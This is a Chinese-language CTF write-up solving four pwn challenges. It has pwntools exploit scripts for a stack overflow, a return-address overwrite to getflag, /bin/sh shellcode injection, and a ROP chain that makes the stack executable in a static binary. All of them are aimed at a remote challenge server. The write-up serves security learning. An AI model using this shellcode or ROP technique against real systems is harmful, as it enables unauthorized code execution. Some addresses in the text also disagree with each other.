Pwn1
拿到程序IDA分析
发现就是一个输入字符串,长度大于0x500就直接执行cat flag。虽然溢出了,但是和溢出没有太大关系
所以利用代码如下:
from pwn import *
p = remote ("139.224.220.67" ,30004)
payload = 'a'*0x501
p.sendline(payload)
p.interactive()
Pwn2
打开IDA分析,是一个经典的栈溢出,scanf输入的时候并没有对长度进行限制,因此可以一直覆盖到返回地址
那么我们可以把返回地址覆盖为题目中给出的getflag函数即可。
所以利用代码如下:
from pwn import *
p = remote ("139.224.220.67" ,30006)
e=ELF("chall")
payload = 'a'*0x108
payload += 'a'*0x4
payload += p32(e.symbols['getflag'])
p.sendline(payload)
p.interactive()
Pwn3
IDA分析一下
发现就是分配了一块内存,地址为0xdeadb000,然后从输入流读入数据到该地址,然后执行该地址的内容。
即程序会执行我们输入的机器码。所以,直接在https://www.exploit-db.com/找到一个shellcode发送过去即可。
代码如下:
from pwn import *
p = remote ("139.224.220.67" ,30007)
shellcode ="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
p.sendline(shellcode)
p.interactive()
Pwn4
比较复杂地一道题目。
首先用IDA分析发现,没有了常见的红色区域,红色区域标志着是调用的外部函数,采用的动态链接的方式调用。所以该题应该是把所有使用到的函数都编译到了程序里面。
然后把可执行文件拖到虚拟机中checksec一下。
发现是32位程序,保护机制只开启了栈执行保护。
接着找漏洞
程序的逻辑比较简单,main函数调用fun函数,fun函数执行了一个read,向v1的空间中最多读入256个字符,然而v1距离ebp只有9个字节。因此可以覆盖到返回地址,控制程序流程。
既然程序是静态编译,我们首先想到的是在程序中的函数中找有没有system函数或者execve函数。在IDA中直接按名称查找。
显然没有找到这种函数。
但是偶然发现了一个_dl_make_stack_executable函数。按照意思是可以将栈变为可执行,那么我们就可以直接在栈上布置shellcode然后执行了。搜索了一下,发现确实可以使用这个函数使得栈变得可执行,步骤如下:
(1)将_stack_prot的值改为0x7
(2)将libc_stack_end的地址赋给eax
(3)调用_dl_make_stack_executable函数
所以我们的思路就有了。首先做以上三步,将栈变为可执行。然后布置shellcode。
第一步:将_stack_prot的值改为0x7。
在IDA中搜索字符串"_stack_prot"
然后点击__stack_prot即可得到__stack_prot的地址:
即第一步需要将0x80e9fec地址处的值改为7。
可以使用read函数,从输入流中向该地址读取数据,这样我们只要发送一个7过去就可以将其改成7了。
即调用read(0,0x80e9fe4,0x4)
首先在IDA中找到read函数的地址为0x806d270
read = 0x806d270
所以第一步的rop链按照如下方法构造
rop='a'*0x9 //距离ebp 9个字节
rop+= 'a'*0x4//覆盖ebp
rop+= p32(read)//覆盖返回地址
rop+=p32(ppp_ret) //pop pop pop ret的地址,用于执行read之后返回,从而将参数弹空
rop+=p32(0)+p32(stack_prot)+p32(4)//read函数的参数
这时候要注意了,我们还需要后续继续控制执行流程,因此需要将三个参数pop出去,所以在read函数执行完之后的返回地址,我们将其覆盖为pop pop pop ret的地址。这种类型的指令块我们一般叫gadget。
找到gadget可以使用如下命令:
ROPgadget --binary rop --only "pop|ret"
然后从中随便选取一个三个pop 后ret的即可 比如:0x08062d3b : pop edi ; pop esi ; pop ebx ; ret
第二步:将libc_stack_end的地址给eax
IDA查看libc_stack_end的地址,发现是0x80e9fc8
所以只需要将0x80e9fc8赋值给eax,想到找pop eax,ret类型的gadget,就可以控制eax了。
结合上一步中寻找gadget的命令使用如下命令:
ROPgadget --binary rop --only "pop|ret"|grep "pop eax"
可以发现0x80b7e56处的指令很符合我们的需求。
所以rop的第二步如下构造:
rop+=pop_eax_ret //gadget的地址
rop+=libc_stack_end //想要赋给eax的值,也就是libc_stack_end的地址,为0x80e9fc8
第三步:调用_dl_make_stack_executable,所以rop继续如此构造
rop+= _dl_make_stack_executable //_dl_make_stack_executable函数的地址
到此我们已经成功让栈变得可以执行了。下面就是针对没有栈执行保护的系统的栈溢出攻击了。
在www.exploit-db.com上找到一个shellcode:
shellcode ="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
然后需要寻找一个jmp esp或者call esp的地址。
我们这次选择了 call esp,即下面的0x88c92b0
所以最后一步的rop构造:
rop+=call_esp
rop += shellcode
最后总的代码如下:
from pwn import *
# p=process("rop")
p = remote("139.224.220.67" ,30002)
# gdb.attach(p,"b *0x804889a")
call_esp =0x080c92b0
stack_prot = 0x80E9FEC
__libc_stack_end = 0x80e9fc8
_dl_make_stack_executable=0x8099DD0
read = 0x806d270
ppp_ret=0x08062d3b
peax_ret=0x080b7e56
shellcode ="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
rop = 'a'*0x9 + 'a'*0x4 + p32(read) + p32(ppp_ret) + p32(0)+p32(stack_prot)+p32(0x4)
rop += p32(peax_ret)+p32(__libc_stack_end)+p32(_dl_make_stack_executable)
rop += p32(call_esp)+shellcode
p.sendline(rop)
p.sendline(p32(7))
p.interactive()
# 0x080c92b0 : call esp
# 0x080b7e56 : pop eax ; ret
# 0x08062d3b : pop edi ; pop esi ; pop ebx ; ret